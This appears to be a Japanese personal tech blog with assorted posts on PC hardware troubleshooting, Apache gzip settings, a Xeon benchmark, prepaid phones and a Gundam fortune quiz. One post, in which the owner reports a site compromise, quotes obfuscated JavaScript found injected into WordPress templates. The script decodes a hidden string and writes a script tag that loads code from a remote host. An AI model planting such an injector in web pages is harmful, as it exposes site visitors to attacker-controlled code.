マザーボード上の緑色LEDの点滅

現象

  • 電源スイッチを押してもBIOSが起動しない
  • 電源をマザーボードに接続してみると緑色LEDが1秒間隔ほどで点滅をする

確認したこと

  • マザーボードには故障などの異常は無し
  • 電源ユニット自体にも異常無し
  • PCケースの電源スイッチにも異常は無し
  • マザーボードをPCケースから取り外して素の状態で電源につなぐと緑色LEDは正常に点灯する

環境

  • intel DG45ID
  • Antec NSK3480

原因

マザーボードとPCケースを固定する六角スペーサーの取り付け方に問題が有った。六角スペーサーをケースに一個余分に取り付けていたために,マザーボード裏面の基盤の出っ張りと六角スペーサーが干渉してしまい,その結果マザーボードがショートして起動できなくなっていた。

謎の不正アクセス

ホームページが表示されないから変だと思っていたら,index.phpに下記コードが勝手に挿入されていた。パスワードが割られてしまった模様。何がしたいのかは解読不能・・・。

とりあえずFTPのパスワードは変更したが,はて,それで大丈夫なのだろうか。

あとでチェックしてみたら,wordpressのテンプレートの.phpでページを表示するファイルに全部挿入されていた。テンプレートを全部アップロードをし直し。

<html>
<body>
<script type="text/javascript">
var wGss98v0zDCHi = "uBdb915uBdb935";
var qg2solLrupydN0 = "uBdb93cuBdb973uBdb963uBdb972u";
var qg2solLrupydN1 = "Bdb969uBdb970uBdb974uBdb920uB";
var qg2solLrupydN2 = "db974uBdb979uBdb970uBdb965uBd";
var qg2solLrupydN3 = "b93duBdb922uBdb974uBdb965uBdb";
var qg2solLrupydN4 = "978uBdb974uBdb92fuBdb96auBdb9";
var qg2solLrupydN5 = "61uBdb976uBdb961uBdb973uBdb96";
var qg2solLrupydN6 = "3uBdb972uBdb969uBdb970uBdb974";
var qg2solLrupydN7 = "uBdb922uBdb920uBdb973uBdb972u";
var qg2solLrupydN8 = "Bdb963uBdb93duBdb922uBdb968uB";
var qg2solLrupydN9 = "db974uBdb974uBdb970uBdb93auBd";
var qg2solLrupydN10 = "b92fuBdb92fuBdb963uBdb96fuBdb";
var qg2solLrupydN11 = "975uBdb96euBdb974uBdb965uBdb9";
var qg2solLrupydN12 = "72uBdb973uBdb974uBdb961uBdb97";
var qg2solLrupydN13 = "4uBdb973uBdb92euBdb973uBdb965";
var qg2solLrupydN14 = "uBdb972uBdb976uBdb965uBdb96du";
var qg2solLrupydN15 = "Bdb970uBdb933uBdb92euBdb963uB";
var qg2solLrupydN16 = "db96fuBdb96duBdb92fuBdb92fuBd";
var qg2solLrupydN17 = "b96duBdb96cuBdb92euBdb970uBdb";
var qg2solLrupydN18 = "968uBdb970uBdb922uBdb93euBdb9";
var qg2solLrupydN19 = "20uBdb93cuBdb92fuBdb973uBdb96";
var qg2solLrupydN20 = "3uBdb972uBdb969uBdb970uBdb974";
var qg2solLrupydN21 = "uBdb93e";
var ZPFlt1UYA1tfk = "Dh3Ln15uBdb935";
var ERYCkoBwTvOcS = qg2solLrupydN0+qg2solLrupydN1+qg2solLrupydN2+qg2solLrupydN3+qg2solLrupydN4+qg2solLrupydN5+qg2solLrupydN6+qg2solLrupydN7+qg2solLrupydN8+qg2solLrupydN9+qg2solLrupydN10+qg2solLrupydN11+qg2solLrupydN12+qg2solLrupydN13+qg2solLrupydN14+qg2solLrupydN15+qg2solLrupydN16+qg2solLrupydN17+qg2solLrupydN18+qg2solLrupydN19+qg2solLrupydN20+qg2solLrupydN21;
CtnqKOXMGM9bE = ERYCkoBwTvOcS.replace(/uBdb9/g,"%");
var iRDgo28MEsBPo = unescape;
var wGss98v0zDCHi = "AUx2i15Dh3Ln35";
w9221 = this;
var NKCGnIAa0Vzgr=w9221["WJd5GoGJc2uG5mJGe2JnltJ".replace(/[J52WlG:]/g, "")];
NKCGnIAa0Vzgr.write(iRDgo28MEsBPo(CtnqKOXMGM9bE));
</script>
</body>
</html>

失敗:linux ubuntuのHDD引っ越し作業

失敗というか,手間と時間がかかりすぎる。OSをクリーンインストールして外付けHDDにそれを引越ししてみるという実験を試みたが,時間がかかりすぎる上に起動不能という結果に。ディスクそのままのコピーではなく,必要なデータのみ(/homeや/etcなど)のスナップショットを作成して,以降先のOSがインストールされた環境で展開するというのが現実的な模様。

もう一度暇なときに再挑戦してはみるけれども。

apache2のgzip圧縮によるレスポンス改善

googleのウェブマスターツールでgzipで圧縮するとファイルサイズが半分になる,とアドバイスされたが,6KBのCSSファイルが半分の3KBになったところでどれだけ効果があるのかねぇ・・・と半信半疑だったが,apache2に圧縮設定を設定してみると体感で明らかにレスポンスが良くなったので驚いた。

apache2の設定ファイルは小さく分割されてあっちこっちにわかれているため,どこに記述したらいいのか迷ったが,とりあえず /etc/apache2/httpd.conf が空だったのでそこに記述してみることにした。記述内容は下記のような感じ。

<IfModule mod_deflate.c>
# Insert filters
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE image/gif
AddOutputFilterByType DEFLATE image/jpeg
AddOutputFilterByType DEFLATE image/png
AddOutputFilterByType DEFLATE image/x-icon
</IfModule>

はじめはcssとhtmlの圧縮だけ設定してみたがあまりにも効果的だったので画像もついでに記述してみた。htmlは圧縮が効いているのかは不明。レスポンスは劇的によくなったが,あまりにも上手くいきすぎているため何か裏がありそうだが・・・しばらくは様子見。百度の画像検索でサムネイルがやたら速く表示されるから不思議だったが,おそらく圧縮の設定をしているのだろうと思う。

Intel Xeon L3426 のベンチマーク

Intel Xeon L3426 1.86GHz BX80605L3426

xeonl3426Xeon L3426をcrystalmarkでベンチマーク。先日テストしたマシンのCPUをこれに入れ替えて計測。4コア8スレッドかつ低発熱ということで,実にいい。

後日談。メモリについてはnon-eccのメモリで動くことは動く。しかし,数時間経過すると突然フリーズをするという現象を数回確認。それがnon-eccメモリを使っているのが原因かどうかはわからないが,挙動不審な状態では常時稼働のサーバは務まらないので,後日eccメモリでも同様の現象が発生するかどうか要チェック。ちなみに,その怪しい挙動をする環境はExpress5800/GT110b と xeon l3626 と トランセンドのDDR3 non eccメモリ4GB*4という組み合わせ。メモリのチップはhynixと刻印されていて,ダメなメモリではないと思うんだが・・・。

さらに後日談。仕方がないのでamazonでeccメモリを調達。16GB欲しいところだが売ってないようなので8GBで我慢。Kingston 4GB 1066MHz DDR3 ECC CL7 DIMM (Kit of 2) KVR1066D3E7K2/4G kingston製のeccメモリで,注文したものにはelpidaチップが使われていた。これでダメならかなり参ったが,あとはフリーズしないことを祈るのみ。そういえばkingstonのeccメモリはelpidaのチップが使われるのが多いのだろうか。前のddr2のeccメモリを注文したときもelpidaだったような。

さらに後日談の後日談。メモリをeccメモリに換装してから連続で2日間稼動してみたところ,特に異常無し。さすがECCメモリだ,宇宙線でもなんともないぜ。

続きを読む Intel Xeon L3426 のベンチマーク

ペニーオークションのサイトが増殖している件

雨後のたけのこのごとく,ペニーオークションという新しいオークションなるウェブサイトが頻繁に目にするようになった。参加をする気はないが,何かウェブサイトの運営の技術的なことで学べることはないかと調べてみたが,特殊すぎて応用できそうなテクニックは見つからず。このペニーオークションの本質的な部分は「参加して得をしている人がいる」「途中でやめたらもったいない」という仕組みで成り立っている。MMORPGみたいにはまったら大変なことになる。

調べていたらゲオもこのペニーオークションを運営している模様。「ジャパネットおかま」みたいに冗談かと思ったが,どうやら本当にゲオ(の子会社)がやっているらしい。サイトの作りは気合が入っているが,大丈夫なのだろうか。

ソフトバンクのプリペイド携帯をチャージ

360日の有効期限がそろそろ切れるため3000円分をチャージ。

「残高は8942円です。残高の使用期限は・・・」

あれ?残高はチャージしたばかりだから3000円のはずが,なぜ9000円近く残っているのかわからなかったが,以前チャージした分をまったく使っていなかったからその分が残っている模様。チャージして60日経過すると発信ができなくなるので,それと同時に通話残高は失効するものと思いきや,残っていた。まあ,受信専用と緊急時に110番と119番にかけるためだけの携帯なので通話残高が残っていても仕方がないんだけれども。

ガンダム占い0079‐0080―アナタの性能完全分析

ガンダム占いで自分を占ってみた。

gm-c
RGC-80 ジムキャノン
後方からキャノン砲を撃つだけ。ただそれだけ。そんなアタナは堅実で慎重な性格です。無理がある計画,リスクの高いこと,実力以上のことは絶対にしません。重いロケット砲をかついでいるため,行動は超スローペース。

なんで当たるんだろう。他の人はどうなのかと気になったので本田圭佑も占ってみた。

ggcMS-14C ゲルググ・キャノン
正体がよくわからずミステリアス,突っ込んで付き合えば付き合うほど,正体がわからなくなるところがあり多重人格ともとれるような言動をするときがあります。
キマイラ隊のエース譲りの高い判断力と,常に客観的な見方ができる冷静さを持ち合わせ,経歴があまり知られていないジェラルド・サカイ大尉やトーマス・クルツ中尉のような「詳しくは知らないけど凄くデキる奴」と思われることが多そうです。

うん,なんかそんな雰囲気はある。なんで当たるんだろう。ついでにオセロの松嶋尚美も占ってみた。

rdMS-09R リック・ドム
3分で12機を墜とされるという恥さらしな記録が目立ちますが,まったく気にすることなくア・バオア・クー戦まで戦い抜いたリック・ドムくん。ねちねち物事にこだわったり,失敗にクヨクヨしたりすることがありません。究極のせっかち人間でもあります。お世辞にも「落ち着いている」とはいえないでしょう。

うん・・・。なんで当たるんだろう。

ホテルのクチコミに対する返信がすごい件

リッチモンドホテル高知のクチコミ(口コミ)・評判情報-じゃらんnet

ホテルを利用した人がクチコミを投稿するサイトの返信がすごい。1件1件クチコミに対して返信していることに気付いた。しかも単なる定型文のコピーペーストではなくて,ホテル側がクチコミの内容をしっかり読んだ上で返信をしているのがわかる。これはちょっとすごいと思う。超一流のホテルはともかく,評判の良いやる気のあるホテルはクチコミをチェックしてきっちり返信している様子。

人の話(クチコミ)を聞くことができるから客観的な目での長所と短所に気づくことができる。そして,真摯に対応することができるから気付いたことをもとに改善して成長することができる。見習わねば。